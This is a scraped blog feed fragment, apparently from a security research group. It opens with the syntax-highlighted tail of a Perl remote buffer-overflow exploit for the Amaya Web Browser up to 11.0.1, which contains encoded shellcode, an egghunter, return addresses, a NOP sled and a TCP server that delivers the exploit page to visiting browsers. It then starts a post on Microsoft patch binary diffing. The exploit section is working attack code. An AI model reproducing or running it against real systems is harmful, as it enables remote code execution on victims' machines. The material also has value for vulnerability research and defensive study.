<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>59<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4c&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4e&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>58&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>52<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>44&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>38&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>33&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>47&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>37<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>4a&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4b&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>53&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>57&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>39&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>46&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>5a&quot;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># my own shell hunter.. :) it is 98% alphanumerical.</span>
<span style="color: #666666; font-style: italic;"># 2nd variant of the shellhunter, to make the exploit more reliable..</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$shellhunter</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>40<span style="color: #000099; font-weight: bold;">\x</span>40&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>47&quot;</span> x <span style="color: #cc66cc;">4</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">6</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span>     <span style="color: #666666; font-style: italic;">#inc edi</span>
<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">24</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">24</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>39<span style="color: #000099; font-weight: bold;">\x</span>07<span style="color: #000099; font-weight: bold;">\x</span>75<span style="color: #000099; font-weight: bold;">\x</span>8b<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>71&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span>
<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>FF<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>77<span style="color: #000099; font-weight: bold;">\x</span>76&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$overflow</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">158</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$overflow2</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">4</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$overflow3</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>43&quot;</span> x <span style="color: #cc66cc;">430</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$overflow4len</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">977</span> <span style="color: #339933;">-</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #000066;">length</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$shellhunter</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">-</span> <span style="color: #cc66cc;">7</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>   <span style="color: #666666; font-style: italic;">#very important calculation</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$overflow4</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>44&quot;</span> x <span style="color: #0000ff;">$overflow4len</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$sled</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">12</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$sled2</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span> x <span style="color: #cc66cc;">24</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$eip2</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>37<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>10&quot;</span><span style="color: #339933;">;</span>  <span style="color: #666666; font-style: italic;">#10035537 call ecx, this won't be used</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$eip1</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>01<span style="color: #000099; font-weight: bold;">\x</span>10&quot;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">#10014F30 call esi, this will be used.</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$heapaddr</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>0e<span style="color: #000099; font-weight: bold;">\x</span>08<span style="color: #000099; font-weight: bold;">\x</span>10&quot;</span><span style="color: #339933;">;</span>    <span style="color: #666666; font-style: italic;">#valid char for buffer, heap address</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$lookout</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>37<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>45&quot;</span> x <span style="color: #cc66cc;">40</span><span style="color: #339933;">;</span>      <span style="color: #666666; font-style: italic;"># 45446537    look out values &amp;lt;-</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$lookout2</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>37<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span> x <span style="color: #cc66cc;">4</span><span style="color: #339933;">;</span>      <span style="color: #666666; font-style: italic;"># 45446537                &amp;lt;-</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$lookout3</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>37<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span> x <span style="color: #cc66cc;">4</span><span style="color: #339933;">;</span>      <span style="color: #666666; font-style: italic;"># 45446537            &amp;lt;-</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$lookout4</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>37<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span> x <span style="color: #cc66cc;">4</span><span style="color: #339933;">;</span>      <span style="color: #666666; font-style: italic;"># 45446537        &amp;lt;-</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$additionaddr</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>45&quot;</span><span style="color: #339933;">;</span>    <span style="color: #666666; font-style: italic;">#used for an addition in the shellhunter  (+2)</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$nopsled</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90&quot;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$jmp</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>75<span style="color: #000099; font-weight: bold;">\x</span>0c&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">print</span> <span style="color: #ff0000;">&quot;[x] Amaya Web Browser &amp;lt;= 11.0.1 Remote Buffer Overflow Exploit<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">print</span> <span style="color: #ff0000;">&quot;[x] Found/Exploit by SkD (skdrat@ hotmail.com)(skd@ abysssec.com)<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$sock</span><span style="color: #339933;">=</span><span style="color: #000000; font-weight: bold;">new</span> IO<span style="color: #339933;">::</span><span style="color: #006600;">Socket</span><span style="color: #339933;">::</span><span style="color: #006600;">INET</span><span style="color: #009900;">&#40;</span>Listen<span style="color: #339933;">=</span><span style="color: #0000ff;">&amp;gt</span><span style="color: #339933;">;</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">,</span>LocalAddr <span style="color: #339933;">=</span><span style="color: #0000ff;">&amp;gt</span><span style="color: #339933;">;</span> <span style="color: #0000ff;">$listenip</span><span style="color: #339933;">,</span>LocalPort<span style="color: #339933;">=</span><span style="color: #0000ff;">&amp;gt</span><span style="color: #339933;">;</span><span style="color: #0000ff;">$port_listen</span><span style="color: #339933;">,</span>Proto<span style="color: #339933;">=</span><span style="color: #0000ff;">&amp;gt</span><span style="color: #339933;">;</span><span style="color: #ff0000;">'tcp'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">die</span> <span style="color: #b1b100;">unless</span> <span style="color: #0000ff;">$sock</span><span style="color: #339933;">;</span>
<span style="color: #000066;">print</span> <span style="color: #ff0000;">&quot;[x] Waiting for clients on port &quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$port_listen</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;..<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$s</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$s</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$sock</span><span style="color: #339933;">-</span><span style="color: #0000ff;">&amp;gt</span><span style="color: #339933;">;</span>accept<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
<span style="color: #000066;">print</span> <span style="color: #ff0000;">&quot;[x] Got a client!<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$request</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&amp;lt</span><span style="color: #339933;">;</span><span style="color: #0000ff;">$s</span><span style="color: #0000ff;">&amp;gt</span><span style="color: #339933;">;;</span>
<span style="color: #000066;">print</span> <span style="color: #0000ff;">$s</span> <span style="color: #ff0000;">&quot;HTTP/1.0 200 OK<span style="color: #000099; font-weight: bold;">\n</span>Content-Type: text/html<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">print</span> <span style="color: #ff0000;">&quot;[x] Serving Exploit HTML page :)<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">print</span> <span style="color: #0000ff;">$s</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;
<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;
&nbsp;
<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">sleep</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0.5</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">close</span> <span style="color: #0000ff;">$s</span><span style="color: #339933;">;</span>
<span style="color: #000066;">print</span> <span style="color: #ff0000;">&quot;[x] Done!<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2008/12/224/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Microsoft Patch Analysis (binary diffing)</title>
		<link>http://www.abysssec.com/blog/2008/11/microsoft-patch-analysis-binary-diffing/</link>
		<comments>http://www.abysssec.com/blog/2008/11/microsoft-patch-analysis-binary-diffing/#comments</comments>
		<pubDate>Thu, 27 Nov 2008 12:36:26 +0000</pubDate>
		<dc:creator>shahin</dc:creator>
				<category><![CDATA[reversing]]></category>
		<category><![CDATA[binary]]></category>
		<category><![CDATA[Bindiff]]></category>
		<category><![CDATA[diff]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[exploiting]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[MS]]></category>
		<category><![CDATA[Patchdiff]]></category>
		<category><![CDATA[path analysis]]></category>

		<guid isPermaLink="false">http://abysssec.com/blog/?p=113</guid>
		<description><![CDATA[hello again to all our patient readers it&#8217;s been a long time since we wrote our last post&#8217;s ?! first of all i should say sorry for late in blog updates but the first reason is  we are really busy in these days with accomplish our projects . the second reason was changing our server [...]]]></description>
			<content:encoded><![CDATA[<p>hello again to all our patient readers</p>
<p>it&#8217;s been a long time since we wrote our last post&#8217;s ?! first of all i should say sorry for late in blog updates but the first reason is  we are really busy in these days with accomplish our projects . the second reason was changing our server . and finally the third reason is starting <a title="http://abysssec.com" href="http://abysssec.com"><strong>abysssec inc</strong></a> with a professional team for accomplish new projects and services . in soon future we have lots of good news may that&#8217;s interest you . so please be patient to see our news on our new index (that come soon as soon possible)</p>
<p>===================================================================</p>
<p>today i wanna talk about Microsoft security patch&#8217;s analysis  . as you know this year and specially last month&#8217;s of this year was a nightmare for M$ windows because we saw MS08-067 &#8211; MS08-068 &#8211; MS08-006 and MS08-001 and etc . and as you know too publishing real and working exploits is going to die and just you can see commercial exploits on time .</p>
<p>i saw this picture in one of Mr Nicolas Waisman  presentation and i believe to mind of this picture :</p>
<p style="text-align: center;"><img class="aligncenter" title="commercial vs public" src="http://i37.tinypic.com/rbwhw7.jpg" alt="" width="529" height="383" /></p>
<p style="text-align: left;">my goal from this introduction is if you want an exploit on publishing time you just have two chose :</p>
<p style="text-align: left;">1- write your own exploit</p>
<p style="text-align: left;">2- buy commercial exploit for your requirement vulnerability</p>
<p style="text-align: left;">- if you are a super millionaire you can buy all commercial exploits from variant security research teams and we are one of them ;)</p>
<p style="text-align: left;">- and if you are not you and you like and you need an exploit on time you should write your own exploit . and writing exploit for modern operation system&#8217;s is not easy because you need bypass a dozen of memory protections (such as DEP / ASLR / SAFSEH / Safe unlinking   and etc &#8230;  (from OS to commercial target software) also i believe this Mr Dave Aitel sentence : Not only are bugs expensive but the techniques for reliably exploiting bugs becomes expensive .</p>
